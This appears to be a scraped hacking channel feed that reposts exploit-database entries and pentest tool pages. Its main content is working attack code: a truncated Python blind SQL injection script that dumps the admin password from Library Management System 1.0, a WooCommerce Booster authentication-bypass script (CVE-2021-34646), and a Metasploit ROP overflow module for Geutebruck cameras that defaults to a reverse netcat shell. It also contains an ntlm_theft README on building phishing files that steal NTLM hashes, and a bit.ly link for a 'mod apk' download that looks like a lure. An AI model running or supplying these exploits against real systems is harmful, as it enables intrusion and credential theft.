Exploit Collector
Library Management System 1.0 SQL Injection


https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
Library Management System version 1.0 suffers from a remote blind time-based SQL injection vulnerability.

MD5 | d1b3bec04564901a9e4024f4c99cae47

Download
# Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)
# Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec)
# Date: 16/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip
# Vendor: breakthrough2
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.
# Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html
import requests,argparse
from colorama import (Fore as F, Back as B, Style as S)

BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
C=FB if color == 'B' else FR if color == 'R' else FG
return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G')
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# POST /LibraryManagement/fine-student.php
# inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha
def sqliPayload(char,position,userid,column,table):
sqli = 'inject\' UNION SELECT IF(SUBSTRING('
sqli += str(column)+','
sqli += str(position)+',1) = \''
sqli += str(char)+'\',sleep(1),null) FROM '
sqli += str(table)+' WHERE adminId='
sqli += str(userid)+'; -- kamahamaha'
return sqli

chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
'8','9','@','#']

def postRequest(URL,sqliReq,char,position,pxy):
sqliURL = URL
params = {"check":1,"id":sqliReq}
if pxy:
req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)
else:
req = requests.post(url=sqliURL, data=params, verify=False, timeout=10)
#print("{} : {}".format(char,req.elapsed.total_seconds()))
return req.elapsed.total_seconds()

def theHarvester(target,CHARS,url,pxy):
#print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))
position = 1
theHarvest = ""
while position < 8:
for char in CHARS:
sqliReq = sqliPayload[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass


WordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.

MD5 | 37a02e12c72652ac4ee9bb16b94742a8

Download



# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass
# Date: 2021-09-16
# Exploit Author: Sebastian Kriesten (0xB455)
# Contact: https://twitter.com/0xB455
#
# Affected Plugin: Booster for WooCommerce
# Plugin Slug: woocommerce-jetpack
# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/
# Affected Versions: <= 5.4.3
# Fully Patched Version: >= 5.4.4
# CVE: CVE-2021-34646
# CVSS Score: 9.8 (Critical)
# Category: webapps
#
# 1:
# Goto: https://target.com/wp-json/wp/v2/users/
# Pick a user-ID (e.g. 1 - usualy is the admin)
#
# 2:
# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1
#
# 3:
# Check-Out out which of the generated links allows you to access the system
#
import requests,sys,hashlib
import argparse
import datetime
import email.utils
import calendar
import base64

B = "\033[94m"
W = "\033[97m"
R = "\033[91m"
RST = "\033[0;0m"

parser = argparse.ArgumentParser()
parser.add_argument("url", help="the base url")
parser.add_argument('id', type=int, help='the user id', default=1)
args = parser.parse_args()
id = str(args.id)
url = args.url
if args.url[-1] != "/": # URL needs trailing /
url = url + "/"

verify_url= url + "?wcj_user_id=" + id
r = requests.get(verify_url)

if r.status_code != 200:
print("status code != 200")
print(r.headers)
sys.exit(-1)

def email_time_to_timestamp(s):
tt = email.utils.parsedate_tz(s)
if tt is None: return None
return calendar.timegm(tt) - tt[9]

date = r.headers["Date"]
unix = email_time_to_timestamp(date)

def printBanner():
print(f"{W}Timestamp: {B}" + date)
print(f"{W}Timestamp (unix): {B}" + str(unix) + f"{W}\n")
print("We need to generate multiple timestamps in order to avoid delay related timing errors")
print("One of the following links will log you in...\n")

printBanner()



for i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors
hash = hashlib.md5(str(unix-i).encode()).hexdigest()
print(f"{W}#" + str(i) + f" link for hash {R}"+hash+f"{W}:")
token='{"id":"'+ id +'","code":"'+hash+'"}'
token = base64.b64encode(token.encode()).decode()
token = token.rstrip("=") # remove trailing =
link = url+"my-account/?wcj_verify_email="+token
print(link + f"\n{RST}")






Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows Media Player 12.0.9600.19145 Improper Synchronization


Windows Media Player version 12.0.9600.19145 suffers from an improper synchronization vulnerability that cause a freeze or an exploitable buffer overrun crash and may potentially lead to code execution and information disclosure.

MD5 | da9a5c4aab3550eab05ea63787b13b29

Download


Source:packetstormsecurity.com

Exploit CollectorGeutebruck instantrec Remote Command Execution


This Metasploit module exploits a buffer overflow within the 'action' parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions equal to 1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user.

MD5 | d9314dc3eccdf88cc68ce0fe7246fa85

Download



##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Geutebruck instantrec Remote Command Execution',
'Description' => %q{
This module exploits a buffer overflow within the 'action'
parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware
versions 1.12.13.2 and 1.12.14.5.
Successful exploitation results in remote code execution as the root user.
},

'Author' => [
'Titouan Lazard - RandoriSec', # Discovery
'Ibrahim Ayadhi - RandoriSec' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-33549'],
['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],
['URL', 'http://geutebruck.com'],
['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']
],
'DisclosureDate' => '2021-07-08',
'Privileged' => true,
'Platform' => %w[unix linux],
'Arch' => [ARCH_ARMLE],
'Targets' => [
['Automatic Target', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
},
'Notes' => {
'Stability' => ['CRASH_SAFE'],
'Reliability' => ['REPEATABLE_SESSION'],
'SideEffects' => ['ARTIFACTS_ON_DISK']
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the instantrec page', '/uapi-cgi/instantrec.cgi'])
]
)
end

def write_payload
# gadgets
libc_add = 0x402da000
system_off = 0x00357fc
libc_data_off = 0x12c960
str_r1_off = 0x0006781c # str r0 into r4 + 0x14; pop r4 pc;
pop_r0_off = 0x00101de4 # pop r0 pc
pop_r1_off = 0x0010252c # pop r1 pc
pop_r4_off = 0x00015164 # pop r4 pc
system_ = libc_add + system_off
str_r1 = libc_add + str_r1_off
pop_r0 = libc_add + pop_r0_off
pop_r1 = libc_add + pop_r1_off
pop_r4 = libc_add + pop_r4_off
add_str = libc_data_off + libc_add + 4
chunks = (payload.raw + ' ' * (4 - payload.raw.length % 4)).unpack('I<*')
rop = []
rop += [pop_r4]
rop += [add_str - 0x14]
chunks.each_with_index do |chunk, index|
rop += [pop_r1]
rop += [chunk]
rop += [str_r1]
rop += if index != (chunks.length - 1)
[add_str - 0x14 + ((index + 1) * 4)]
else
[0x41414141]
end
end
rop += [pop_r0]
rop += [add_str]
rop += [system_]
rop.pack('V*')
end

def exploit
print_status("#{rhost}:#{rport} - Attempting to exploit...")
pad_size = 536
data = Rex::Text.pattern_create(pad_size) + write_payload
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('/', Rex::Text.rand_hostname, '../', target_uri.path),
'vars_post' => {
'action' => data
}
)
handler
end
end



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Block Proxy Requests to the Web Server

Is there any way to block all proxy/vpn requests to my server with Apache?

submitted by /u/anpfr
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack This Site: Basic Web Challenges — Level 1


This post is about web hacking and walks through the basic challenge level 1 on Hack This Site. This is a short and sweet article today as…

Continue reading on Medium »

Hacking on Medium
Temple Run 2 Mod Apk || Free Download New Version


CLICK HERE — https://bit.ly/3ly9eU2

Continue reading on Medium »

Hacking on Medium
Neovim CheatSheet in < 50 Lines of Code


Integrate cheatsheet into Neovim without any plugins.

Continue reading on Medium »

Hacking on Medium
The Man Who Unlocked 2 Million AT&T Phones Gets 2 Years In Prison


In what the judge described as “a terrible cybercrime over a long period of time”, the Department of Justice accuses a man of unlocking…

Continue reading on Medium »

KitPloit - PenTest Tools!On-The-Fly - Tool Which Gives Capabilities To Perform Pentesting Tests In Several Domains (IoT, ICS & IT)





▒█████ ███▄ █ ▄▄▄█████▓ ██░ ██ ▓█████ █████ ██▓ ▓██ ██▓
▒██▒ ██▒ ██ ▀█ █ ▓ ██▒ ▓▒▒▓██░ ██ ▓█ ▀ ▓██ ▓██▒ ▒██ ██▒
▒██░ ██▒▓██ ▀█ ██▒ ▒ ▓██░ ▒░░▒██▀▀██ ▒███ ▒████ ▒██░ ▒██ ██░
▒██ ██░▓██▒ ▐▌██▒ ░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ░▓█▒ ▒██░ ░ ▐██▓░
░ ████▓▒░▒██░ ▓██░ ▒██▒ ░ ░▓█▒░██▓▒░▒████ ▒░▒█░ ▒░██████ ░ ██▒▓░
░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ▒ ░░ ▒ ░░▒░▒░░░ ▒░ ░ ▒ ░ ░░ ▒░▓ ██▒▒▒
░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ▒ ░▒░ ░░ ░ ░ ░ ░ ░░ ░ ▒ ▓██ ░▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░



Different technologies and paradigms are hyperconnected and offer advances to society. The usage of other technologies among these devices makes security uneven. When facing a pentest in any environment, one major factor is the network. The network interconnects the world of the Internet of Things, the world of industrial control systems, and information technology. This README introduces the 'on-the-fly' tool, which gives capabilities to perform pentesting tests in several domains (IoT, ICS & IT). It is an innovative tool by bringing together different worlds sharing a common factor: the network.



Prerequisities

'on-the-fly' was written in Python and made extensive use of Scapy and netfilterqueue. It is crucial to have Scapy in Python and netfilterqueue installed with a compatible version of Python. For this, a version of Python 3 up to Python version 3.7.5 is recommended (and no higher, as there may be incompatibilities with 3.8 and 3.9 in some libraries that it uses 'on-the-fly'). There is a requirements.txt file that must be executed the first time the tool is launched using 'pip install -r requirements.txt'. Again the pip version must be oriented to a Python 3 version up to 3.7.5.

pip install -r requirements.txt


Usage

python on-the-fly.py


Example videos

on-the-fly: MySQL_manipulation Module


on-the-fly: SSDP_fake Module


on-the-fly: Proxy_socks4 Module


on-the-fly: Port_forwarding Module


on-the-fly: MDNS_Scan Module




Contact

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. WHENEVER YOU MAKE A CONTRIBUTION TO A REPOSITORY CONTAINING NOTICE OF A LICENSE, YOU LICENSE YOUR CONTRIBUTION UNDER THE SAME TERMS, AND YOU AGREE THAT YOU HAVE THE RIGHT TO LICENSE YOUR CONTRIBUTION UNDER THOSE TERMS. IF YOU HAVE A SEPARATE AGREEMENT TO LICENSE YOUR CONTRIBUTIONS UNDER DIFFERENT TERMS, SUCH AS A CONTRIBUTOR LICENSE AGREEMENT, THAT AGREEMENT WILL SUPERSEDE.

This software doesn't have a QA Process. This software is a Proof of Concept.

If you have any problems, you can contact:

ideaslocas@telefonica.com



Download On-The-Fly

___________________________
@hacking_Attack
@Hacking_Video

Ntlm_Theft - A Tool For Generating Multiple Types Of NTLMv2 Hash Theft Files
http://www.kitploit.com/2021/09/ntlmtheft-tool-for-generating-multiple.html

___________________________
@hacking_Attack
@Hacking_Video

A tool for generating multiple types of NTLMv2 hash theft files. ntlm_theft is an Open Source Python3 Tool that generates 21 different types of hash theft documents. These can be used for phishing when either the target allows smb traffic outside their network, or if you are already inside the internal network. The benefits of these file types over say macro based documents or exploit documents are that all of these are built using "intended functionality". None were flagged by Windows Defender (https://www.kitploit.com/search/label/Windows%20Defender) Antivirus on June 2020, and 17 of the 21 attacks worked on a fully patched Windows 10 host.
ntlm_theft supports the following attack types: Browse to Folder Containing .url – via URL field .url – via ICONFILE field .lnk - via icon_location field .scf – via ICONFILE field (Not Working on Latest Windows) autorun.inf via OPEN field (Not Working on Latest Windows) desktop.ini - via IconResource field (Not Working on Latest Windows) Open Document .xml – via Microsoft Word external stylesheet .xml – via Microsoft Word includepicture field .htm – via Chrome & IE & Edge img src (only if opened locally, not hosted) .docx – via Microsoft Word includepicture field .docx – via Microsoft Word external template .docx – via Microsoft Word frameset webSettings .xlsx - via Microsoft Excel external cell .wax - via Windows Media Player playlist (Better, primary open) .asx – via Windows Media Player playlist (Better, primary open) .m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy) .jnlp – via Java external jar .application – via any Browser (Must be served via a browser downloaded or won’t run) Open Document and Accept Popup .pdf – via Adobe Acrobat Reader Click Link in Chat Program .txt – formatted link to paste into Zoom chat
Usecases (Why you want to run this)
ntlm_theft is primarily aimed at Penetration Testers and Red Teamers, who will use it to perform internal phishing on target company employees, or to mass test antivirus and email gateways. It may also be used for external phishing if outbound SMB access is allowed on the perimeter firewall. I've found it useful while penetration testing (https://www.kitploit.com/search/label/Penetration%20Testing) to easily see what file types I have available to me, rather than spending time configuring a specific attack as would be used on red teaming (https://www.kitploit.com/search/label/Red%20Teaming) engagements. You could send a .rtf or .docx file to the HR department, and a .xlsx spreadsheet doc to the finance department.
Getting Started
These instructions will show you the requirements (https://www.kitploit.com/search/label/Requirements) for and how to use ntlm_theft.
Prerequisites
ntlm_theft requires Python3 and xlsxwriter: pip3 install xlsxwriter

Required Parameters
To start up the tool 4 parameters must be provided, an input format, the input file or folder and the basic running mode: -g, --generate : Choose to generate all files or a specific filetype
-s, --server : The IP address of your SMB hash capture server (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)
-f, --filename : The base filename without extension, can be renamed later (eg: test, Board-Meeting2020, Bonus_Payment_Q4)

Example Runs
Here is an example of what a run looks like generating all files: # python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)

___________________________
@hacking_Attack
@Hacking_Video

Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

___________________________
@hacking_Attack
@Hacking_Video

Here is an example of what a run looks like generating only modern files: # python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the late st versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.
Here is an example of what a run looks like generating only a xlsx file: # python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.

Authors
Jacob Wilkin - Research and Development
License
ntlm_theft Created by Jacob Wilkin Copyright (C) 2020 Jacob Wilkin This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed (https://www.kitploit.com/search/label/Distributed) in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
Acknowledgments
Ired (https://ired.team/offensive-security/initial-access/t1187-forced-authentication) Securify (https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html) Pentestlab (https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/) deepzec (https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py) rocketscientist911 (https://github.com/rocketscientist911/excel-ntlmv2) Osanda (https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) Violation Industry (https://www.youtube.com/watch?v=PDpBEY1roRc) @kazkansouh (https://github.com/kazkansouh) - Adding .lnk support

Download Ntlm_Theft (https://github.com/Greenwolf/ntlm_theft)

___________________________
@hacking_Attack
@Hacking_Video